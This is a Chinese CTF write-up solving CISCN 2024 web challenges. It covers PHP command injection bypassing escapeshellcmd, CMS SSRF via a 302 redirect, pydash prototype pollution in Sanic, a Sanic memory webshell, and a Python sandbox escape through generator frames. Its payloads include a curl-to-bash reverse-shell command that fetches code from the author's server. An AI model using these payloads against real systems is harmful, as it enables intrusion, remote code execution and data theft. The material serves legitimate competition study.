CISCN2024 Web方向题解


被CISCN打烂了,几个题都是差一点就出,自己还是太菜了。顺带一提,怎么出题方有srk啊()

私货,不过在misc题里,我赛后才看见

prprprprprpr斯哈斯哈老公喜加一

第一天

ezphp

被这个题卡了好久,搞得我cms没时间交了,把flag放数据库里了,what

比赛平台不给开环境了。。。。。

只能凭借记忆来写:

1
2
3
4
5
6
7
<?php
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|\*|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}

?>

有escapeshellcmd

一个linux命令执行的网页,但是做了很多限制,还有前面的escapeshellcmd,直接禁用各种符号

搜索escapeshellcmd命令注入可以查到一篇文章,里面讲了一些能够绕过escapeshellcmd的方式,但是需要用到的都被ban了,不过他提供了一个思路

可以利用参数,比如ls里面的ls -al

然后找,找到了php,php -i可行,返回了phpinfo

php -r能够把php代码直接执行,而且由于题目给了escapeshellcmd自动转义,所以我们可以不用加单引号,然后发现反斜杠和反引号可以正常使用

1
php -r print_r(`l\s`);

翻遍整个目录都没有找到flag,查看/etc/passwd出现了mysql用户,合理怀疑flag在sql数据库里

后面反弹shell的流程如下:

https://lzltool.cn/Tools/IpToDec

将自己的vps ip转成十进制

然后利用curl,在自己的vps上放一个文件,内容如下:

靶机:

1
cmd=php -r print_r(`c\url\$IFS\$9http://自己的十进制ip/ttt|bas\h`);

python起80端口的http server,监听端口

等shell连过来,mysql登录root root

构思termius没有连接成功的提示,搞得我还以为卡住了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@engine-1:/var/www/html$ mysql -uroot -p
mysql -uroot -p
Enter password: root
show databases;
a
;
ERROR 1064 (42000) at line 2: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'a' at line 1
Database
PHP_CMS
information_schema
mysql
performance_schema
www-data@engine-1:/var/www/html$ mysql -uroot -proot
mysql -uroot -proot
use PHP_CMS;
show tables;
show columns;
ERROR 1064 (42000) at line 3: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1
Tables_in_PHP_CMS
F1ag_Se3Re7
www-data@engine-1:/var/www/html$ mysql -uroot -proot
mysql -uroot -proot
use PHP_CMS;
select * from F1ag_Se3Re7
;
a
;
ERROR 1064 (42000) at line 4: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'a' at line 1
id f1ag66_2024
1 flag{xxxxxxx}

ezcms

这个题,我还以为qrcode处被修复了,所以就审其它地方去了,没想到没有修复,唉

扫到flag.php,发现需要本地ip访问。提示给出只需要本地访问即可rce,要打ssrf,搜一下这个cms有没有ssrf的洞先

查找历史漏洞,发现:

明明上面说被修复了的,为什么实际上还是用这个洞呢

想了想,哦,他说要开redis服务,那是不是说只修了用ssrf打redis的问题

看一下最新版的源码逻辑:

漏洞出现在qrcode,搜索得到:

在Api.php里,我们需要调用这个函数。先看看哪里能调用curl的函数

其实在dr_catcher_data里

这里就直接可以打ssrf,点进去它的逻辑按道理是可以直接127.0.0.1的

这里的参数是thumb

怎么调用呢?

找到一篇文章里面讲了如何调用api:

某cms 前台RCE漏洞分析 - 先知社区

搜索template,发现就在下面

所以只用这么调用即可:

1
?s=api&c=api&m=qrcode

很明显要get传入text和thumb

thumb是我们你ssrf要打的payload,所以text随便传:

1
?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php

但是ip不正确,不能打127.0.0.1

换个思路,利用302跳转打内网

起flask服务:

1
cmd=curl http://vps_ip:port/ttt|bash

python3开启httpserver到port上,打开flask服务,然后将thumb改为我们的http://vps_ip:flask端口上

然后nc监听另一个端口(需要反弹shell的)

sanic

给了一个sanic框架的python服务,和flask差不多,但是就是换成了sanic

访问得到/src里有源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

特意标注了pydash的版本是5.1.2,估计漏洞和他有关

这里搜一下pydash 5.1.2的洞

还真有,原型链污染,而且出现在pydash.set上,正好我们这里的admin路由就有

以下是python原型链污染的一些重点关照对象

  • 函数形参默认值替换:函数的__defaults____kwdefaults__这两个内置属性
  • os.environ赋值
  • flask secret_key修改
  • 修改当前展示目录或者展示文件(DASCTF修改__file__
  • rce?(自己加的,优先前面三个)

然后搜索关于pydash的原型链污染,找到了一篇pydash+jinja2的,很接近了,但不是sanic的:

Pydash 原型链污染 (furina.org.cn)

python原型链污染的关键就是要拿到globals,只要找到了__globals__就能找到所有的全局变量和所有的类,进而进行操作

由于pydash+jinja2这篇的操作是通过jinja2编译模板的时候能够通过污染exported进行命令拼接导致的rce,我就想着sanic是不是也能这样。但是sanic的源码没找到这个方式,所以寄中寄。

还是老老实实看看能不能读文件吧

回到这题,这里有2个问题

第一个问题就是登录页,需要cookie小写后是adm;n

但是我们知道cookie里分号是分隔符,直接读的话n是读不进去的

所以这里得稍微绕一下,变成:

1
"adm\073n"

这个双引号也是得加进去的

所以这个问题便解决了

然后就是怎么个污染,他把_.给过滤了,这里还是师兄nb,用四个反斜杠就绕过去了:

1
\\\\.

可以看到为true,成功绕过并且触发了pydash的原型链污染

问题来到如何获取flag。既然rce不了那就只能读文件,先从源码里找能不能得到能够污染的属性

看源码/src处能够打开file来读,也就是说如果我们能污染__file__,那就能够读任意文件

获取file的前一步肯定是要获取__globals__

参照pydash+jinja2那篇的payload可以得到获取globals的payload如下

1
__init__.__globals__

获取到__file__,污染成value,以下为污染成功的结果:

那接下来读flag,假如flag在根目录且就叫flag,那这题就结束了

但是并不是,flag不叫flag。接下来我们还得重新找一个方法读flag

注意到sanic官方文档有一个app.static:

尝试先污染这个directory_view

1
__init__\\\\.__globals__\\\\.directory_view

这样直接污染还不行,说明不是读的globals的

但是本地报错信息给了我们一些提示:

1
2
File "D:\Python3.11\Lib\site-packages\sanic\mixins\static.py", line 332, in _static_request_handler
return await directory_handler.handle(request, request.path)

可以看到关于app.static的源码存在这个static.py里,去github找一下,也可以在本地找,找到参数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Args:
uri (str): URL path to be used for serving static content.
file_or_directory (Union[PathLike, str]): Path to the static file
or directory with static files.
pattern (str, optional): Regex pattern identifying the valid
static files. Defaults to `r"/?.+"`.
use_modified_since (bool, optional): If true, send file modified
time, and return not modified if the browser's matches the
server's. Defaults to `True`.
use_content_range (bool, optional): If true, process header for
range requests and sends the file part that is requested.
Defaults to `False`.
stream_large_files (Union[bool, int], optional): If `True`, use
the `StreamingHTTPResponse.file_stream` handler rather than
the `HTTPResponse.file handler` to send the file. If this
is an integer, it represents the threshold size to switch
to `StreamingHTTPResponse.file_stream`. Defaults to `False`,
which means that the response will not be streamed.
name (str, optional): User-defined name used for url_for.
Defaults to `"static"`.
host (Optional[str], optional): Host IP or FQDN for the
service to use.
strict_slashes (Optional[bool], optional): Instruct Sanic to
check if the request URLs need to terminate with a slash.
content_type (Optional[str], optional): User-defined content type
for header.
apply (bool, optional): If true, will register the route
immediately. Defaults to `True`.
resource_type (Optional[str], optional): Explicitly declare a
resource to be a `"file"` or a `"dir"`.
index (Optional[Union[str, Sequence[str]]], optional): When
exposing against a directory, index is the name that will
be served as the default file. When multiple file names are
passed, then they will be tried in order.
directory_view (bool, optional): Whether to fallback to showing
the directory viewer when exposing a directory. Defaults
to `False`.
directory_handler (Optional[DirectoryHandler], optional): An
instance of DirectoryHandler that can be used for explicitly
controlling and subclassing the behavior of the default
directory handler.

找几个有用的

  • uri,也就是第一个参数,静态文件在网页存放的目录
  • file_or_directory,也就是第二个参数,静态文件在本地存放的目录
  • directory_view,开启页面展示

找到这几个参数,那得看看怎么打开,首先要获得这个static

可以利用app.router获取到路由,利用dir(app.router)获取到具体里面有什么

1
2
['ALLOWED_METHODS', 'DEFAULT_METHOD', '__abstractmethods__', '__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__slots__', '__str__', '__subclasshook__', '__weakref__', '_abc_impl', '_find_route', '_generate_tree', '_get', '_get_non_static_non_path_groups', '_is_lone_if', '_is_regex', '_matchers', '_normalize', '_optimize', '_render', 'add', 'cascade_not_found', 'ctx', 'delimiter', 'dynamic_routes', 'exception', 'finalize', 'finalized', 'find_route', 'find_route_by_view_name', 'get', 'group_class', 'groups', 'matchers', 'method_handler_exception', 'name_index', 'regex_routes', 'regex_types', 'register_pattern', 'reset', 'resolve', 'route_class', 'routes', 'routes_all', 'routes_dynamic', 'routes_regex', 'routes_static', 'stacking', 'static_routes', 'tree']
<sanic.router.Router object at 0x00000212AD78CC90>

可以从name_index里获取到注册的路由,源码中的解释是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
"""Find a route in the router based on the specified view name.

Args:
view_name (str): the name of the view to search for
name (Optional[str], optional): the name of the route. Defaults to `None`.

Returns:
Optional[Route]: the route object
""" # noqa: E501
if not view_name:
return None

route = self.name_index.get(view_name)
1
2
['__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__ior__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__ror__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
{'__main__.static': <Route: name=__main__.static path=static/<__file_uri__:path>>}

读取__main__.static路由,选中即可:

1
2
3
4
5
6
print(dir(app.router.name_index['__main__.static']))

print(app.router.name_index['__main__.static'])

['__annotations__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__slots__', '__str__', '__subclasshook__', '_compile_regex', '_finalize_params', '_ingest_path', '_params', '_raw_path', '_setup_params', '_sorting', 'add_parameter', 'ctx', 'defined_params', 'extra', 'finalize', 'handler', 'labels', 'methods', 'name', 'overloaded', 'params', 'parse_parameter_string', 'parts', 'path', 'pattern', 'priority', 'raw_path', 'regex', 'requirements', 'reset', 'router', 'segments', 'static', 'strict', 'unquote', 'uri']
<Route: name=__main__.static path=static/<__file_uri__:path>>

还是有很多这种东西,现在要解决的第一件事就是我们的direcotry_view怎么得到,还是回源码找,发现directory_handler里面有设置directory_view

1
2
3
4
5
6
7
8
9
10
11
12
13
if not directory_handler:
directory_handler = DirectoryHandler(
uri=uri,
directory=file_or_directory,
directory_view=directory_view,
index=index,
)
"""
directory_handler (Optional[DirectoryHandler], optional): An
instance of DirectoryHandler that can be used for explicitly
controlling and subclassing the behavior of the default
directory handler.
"""

能够控制普通的directory handler

发现他是从handlers包里引入的

1
from sanic.handlers.directory import DirectoryHandler

继续翻源码,查看说明:

1
2
3
4
5
6
7
8
9
10
class DirectoryHandler:
"""Serve files from a directory.

Args:
uri (str): The URI to serve the files at.
directory (Path): The directory to serve files from.
directory_view (bool): Whether to show a directory listing or not.
index (Optional[Union[str, Sequence[str]]]): The index file(s) to
serve if the directory is requested. Defaults to None.
"""

他是用于从一个目录种保存的文件,如果打开了directory_view,就会显示在页面里,uri是显示在哪个页面上,directory是保存的哪个文件夹下的文件

思路豁然开朗,只需要找到DirectoryHandler或者directory_handler即可污染(因为directory_handler是他的实例)

根据引入猜测一下,他是从handlers中引入的,而name_index里有 handler

继续进入,查看:

1
2
['__annotations__', '__call__', '__class__', '__class_getitem__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setstate__', '__sizeof__', '__str__', '__subclasshook__', '__vectorcalloffset__', '__wrapped__', 'args', 'func', 'keywords']
functools.partial(<bound method StaticHandleMixin._static_request_handler of Sanic(name="__main__")>, file_or_directory='D:\\CTF\\CISCN2024\\static', use_modified_since=True, use_content_range=False, stream_large_files=False, content_type=None, directory_handler=<sanic.handlers.directory.DirectoryHandler object at 0x000001A44BF39C10>)

oh,找到了directory_handler,那接下来就是获取它并修改其属性了,他是一个functools.partial,还不能直接选择这个directory_handler,接下来从argsfunckeywords都试试:

可以看见keywords能够获得到我们的DirectoryHandler(directory_handler)

跟进,这个时候变成了字典,所以可以直接调用:

1
2
3
print(dir(app.router.name_index['__main__.static'].handler.keywords['directory_handler']))

print(app.router.name_index['__main__.static'].handler.keywords['directory_handler'])

这正是我们想要的:

directory_view

修改!

默认是false,利用pydash,修改为True

本地网页测试发现报错:

keyError?

1
KeyError: '__main__.static'

这里重新写一下payload测试:

1
app.router.name_index

发现居然变成了:

1
2
{'__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=/>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>}
[2024-06-07 13:58:37 +0800] - (sanic.access)[INFO][127.0.0.1:48834]: POST http://127.0.0.1:8000/ 200 7

奇怪,变成了__mp_main__.static,那就把里面的改一下,继续测试:

1
print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view)

这下正常了:

页面污染测试,这里得参照上面的方法,把前面的app.router添加__init__\\\\.__globals__

1
__init__\\\\.__globals__\\\\.app.router.name_index['__mp_main__\\\\.static'].handler.keywords['directory_handler'].directory_view

发现还是不行,晕

这里gxngxngxn师傅给出的解释是:

不能够用[]来包裹其中的索引,因为污染和直接调用不同,需要用.来连接,而__mp_main__.static是一个整体,所以只需要两个\即可

师傅tql,立马修改payload

1
{"key":"__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":"True"}

这下终于是两个True了,真不容易

访问/static,因为我们的flag肯定不在当前目录,所以我本地只放了一个1.html在static目录里

接下来就是污染目录了

回看directory_handler里面有什么东西我们可以污染利用,上文说过directory是保存的哪个文件夹下的文件,很明显只需要污染directory即可

但是直接污染会报错:

没绷住,不能够直接将directory污染成str

查看directory: Path,说明他是一个Path的对象

再看看它是怎么赋值来的:

1
2
3
4
5
6
7
8
9
10
11
12
13
def absolute(self):
"""Return an absolute version of this path. This function works
even if the path doesn't point to anything.

No normalization is done, i.e. all '.' and '..' will be kept along.
Use resolve() to get the canonical path to a file.
"""
# XXX untested yet!
if self.is_absolute():
return self
# FIXME this must defer to the specific flavour (and, under Windows,
# use nt._getfullpathname())
return self._from_parts([self._accessor.getcwd()] + self._parts)

好像找到了,关键词搜索get,这里的注释是返回绝对路径

查看一下_from_parts

1
Path 对象具有从名称中提取部分值的方法和属性。例如,parts 属性会生成一个基于路径分隔符解析的路径片段序列。

如果这里能debug的话,一下子就出来了,但是我用的是vscode,debug不了T_T

1
2
3
4
5
6
7
8
9
10
@classmethod
def _from_parts(cls, args):
# We need to call _parse_args on the instance, so as to get the
# right flavour.
self = object.__new__(cls)
drv, root, parts = self._parse_args(args)
self._drv = drv
self._root = root
self._parts = parts
return self

可以看到有个parts对象,返回给了_parts,上面说过,parts相当于路径的切片

此时可以去查看directory的_parts了:

1
['D:\\', 'CTF', 'CISCN2024', 'static']

果不其然,是个切片

污染他就好了:

1
{"key":"__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value":["D:\\", "CTF", "CISCN2024", "CISCNSanic"]}

这样就能拿到flag了

去ctfshow复现测试:

可以看见flag名了,但是直接读是读不到的。

还记得上面能够进行任意文件读吗,再利用一次即可得到flag:

1
__init__\\\\.__globals__\\\\.__file__

sanic内存马

参考flask内存马,那我们也可以在sanic里找到能够利用的添加路由的方法

app.add_route(handler, "/test", methods=["GET", "POST"])

所以能参照flask的马儿写一个sanic的,注意它的handler其实就是flask里的实现方法:

handler (RouteHandler): Function or class-based view used as a route handler.

1
eval("app.add_route(lambda:__import('os').popen(request.args.get('cmd')).read(), '/shell', methods=['GET', 'POST'])")

第二天

cms_revenge

把qrcode给修了,但没完全修复,只加了文件头检验,在302跳转的文件加个GIF89a即可:

1
2
3
4
5
GIF89a
<?php
echo "GIF89a";
header("Location: http://127.0.0.1/flag.php?cmd=xxxx");
?>

操作同上

mossforn

pyjail,代码如下

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
print(result, error)
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": f"{result}\n{error}"
})
except:
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": "None"
})


if __name__ == "__main__":
app.run("0.0.0.0", 5000)

main.py负责接受我们的代码,然后将其创建一个新的python文件到uploads文件夹下,这个python文件经过测试会生成两个文件,一个.py,一个.txt

.py复制的是runner.py里的内容

.txt是我们的代码

runner.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
def source_simple_check(source):
"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""

from sys import exit
from builtins import print

try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()

for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()


def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""

def audit(event, args):

from builtins import str, print
import os

for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit


def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""

from dis import dis
from builtins import str
from io import StringIO
from sys import exit

opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()


if __name__ == "__main__":

from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time

source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()

if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)

runner.py就是通过读取生成的txt内容,并且执行

这里经过了三重过滤:

  • source_simple_check(),检测双下划线、getattr、exit,以及检查是否输入的是ascii范围内的符号
  • block_wrapper,定义的是audit hook,使用的黑名单,这几个都不能用,而且由于audit hook处于python的底层实现,所以无法通过常规变换绕过
  • source_opcode_checker,将传入的代码变成opcode,防止加载globals、name、method这些操作

几乎无懈可击啊T_T

但是还是通过一个trick绕过了

这就是大名鼎鼎的栈帧沙箱逃逸

生成器

利用yield关键字来定义一个生成器。yield用于产生一个值,并且在保留当前状态的同时,暂停函数的执行。当下次调用这个生成器的时候,函数就会从上次暂停的状态继续进行。直至遇见下一个yield状态或者程序结束

example:

1
2
3
4
5
6
7
8
9
10
11
def fib(max):
n, a, b = 0,0,1
while n < max:
yield b #返回b的值
a, b = b, a+b
n = n + 1
return 'done'
f = fib(6)
print(f) #<generator object fib at 0x00000296B4189C40>
for i in f:
print(i) # 1 1 2 3 5 8

生成器的return返回值必须从stopIteration异常中获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def fib(max):
n, a, b = 0,0,1
while n < max:
yield b #返回b的值
a, b = b, a+b
n = n + 1
return 'done'
f = fib(6)
print(f) #<generator object fib at 0x00000296B4189C40>
while True:
try:
x = next(f)
print('value: ', x)
except StopIteration as e:
print('Return value', e.value) # Return value done
break

生成器的属性

生成器有如下属性:

gi_code生成器对应的code对象

gi_frame:生成器对应的frame(栈帧)对象

gi_running:判断生成器的函数是否正在执行。生成器函数在yield以后,执行yield的下一行代码前处于冻结状态,此时gi_running为0

gi_yieldfrom:如果生成器正在从另一个生成器中yield值,斥责该对象为生成器对象的引用,否则为None

gi_frame.f_locals一个字典,包含生成器当前帧的本地变量

关键在于gi_frame。它指向生成器或者写成当前执行的帧对象。如果这个生成器或者协程在执行的话,帧对象表示的是代码执行的当前上下变量、执行的字节码指令等信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

输出结果如下:

1
2
3
4
5
6
Local Variables: {}

Global Variables: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002051C3D2150>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'd:\\CTF\\CISCN2024\\python_learning\\frame_example.py', '__cached__': None, 'my_generator': <function my_generator at 0x000002051C2C0680>, 'gen': <generator object my_generator at 0x000002051C2789E0>, 'frame': <frame at 0x000002051C280820, file 'd:\\CTF\\CISCN2024\\python_learning\\frame_example.py', line 1, code my_generator>}
Code Object: <code object my_generator at 0x000002051C3D9C30, file "d:\CTF\CISCN2024\python_learning\frame_example.py", line 1>

Instruction Pointer: 0

栈帧

Python中的栈帧,也称为帧,是用于执行代码的数据结构,每当python执行一个函数或者方法的时候,就会新建一个栈帧,用于储存该函数或者方法的局部变量、参数、返回地址以及其他执行相关的信息,这些栈帧会按被调用的顺序组织成一个栈,也叫调用栈

frame的几个属性:

  • f_locals:一个字典,包含了函数或者方法的局部变量。字典中:key是变量名,value是变量的值
  • f_globals:一个字典,包含了函数或者方法的全局变量。字典中:key是全局变量名,value是变量的值
  • f_code,一个代码对象,包含了函数或者方法的字节码指令、常量、变量名等信息
  • f_lasti:整数,用于表示最后执行的字节码指令的索引
  • f_back:指向上一级调用栈帧的引用,用于构建调用栈

栈帧逃逸

利用就是通过f_back,可以理解为回到前一帧,此时就能够逃逸出去,获取到globals全局符号表,比如下面这个代码,将builtins置空:

1
2
3
4
5
6
7
exec(code, {
"__builtins__": None,
"randint": random.randint,
"randrange": random.randrange,
"seed": random.seed,
"print": print
}, None)

因为将builtins置空了,所以我们不能够直接使用next函数来获得帧,可以改成下面的形式:

1
frame = [x for x in g][0]

这样就能够正常获取到帧了

通过帧获取到flag,flag可能会有以下几种形式存在:

  • flag是常量,写在了运行的这个python脚本里,但是我们不知道里面的内容。此时由于是常量,我们就可以通过f_code后取到代码对象,从而获取到常量
1
2
3
4
5
6
7
8
def func():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
builtin = frame.f_back.f_back.f_back.f_locals['__builtins__'] #这一步获取builtin就能够获取到一些基本函数,方便我们后续操作
code = frame.f_back.f_back.f_back.f_code
print(code.co_consts)

测试结果如下:

可以看见我们获取到了THIS_IS_THE_FLAG常量

  • flag是变量,通过以下几种方式引入:
    • 读取某个文件的flag(open('xxx').readline().strip())
    • 引入某个py文件from secret import flag
1
2
3
4
5
6
7
8
def func():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
builtin = frame.f_back.f_back.f_back.f_locals['__builtins__'] #这一步获取builtin就能够获取到一些基本函数,方便我们后续操作
gl = frame.f_back.f_back.f_back.f_globals
print(gl)
  • 注,可以通过dir()查看某个东西里面的东西,例如dir(__builtins__)

骚操作

通过栈帧逃逸修改globals里的函数,比如L3HCTF 2024里的interactive problem revenge

题目描述的是让我们写一个算法,在5秒钟内分解一个大数,且分解出来的p q必须大于10万

其中它的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys
import os

codes='''
<<codehere>>
'''

try:
codes.encode("ascii")
except UnicodeEncodeError:
exit(0)

if "__" in codes:
print("__ bypass!!")
exit(0)

codes+="\nres=factorization(c)"
print(codes)
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
def func(event, args):
blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
for i in blackList:
if i in (event + "".join(str(s) for s in args)).lower():
print("noooooooooo")
print(i)
oldexit(0)
return func

code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)
print(locals)

p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("6962870288234392854125161281635890700982462629093736571235132052485046737217637257821112524008324904346793949083761058586910446780211748457914188629326074259502005982000602910234436824381962965529591933109315116958799117979583846227292370866331021901358489134614509857230414077544819864963551236767626882793454540974178679675417425144217936250239088397928263092555448576868269061128976454909579733029125389335575959742477901071197970527932157322762239861030119598864719140767979458071785656384494446498846482815837993418798712434807065815612224857415284609642153413380650780047267212883053994379011750972345186053538984961401606570014661876373929347573787983737166705356136375396374683117199236489056418491334723943350537289871861641414125635759414331704891307600507191049228203709942296267365849484642784946000952542975446970251330493420154901168893598767823189810379126738944418362374798554113549810928876032502174006612956051945275587008764112159984157503924449994502578646838220802572350059822495558613783382280294181860618244744488470086901171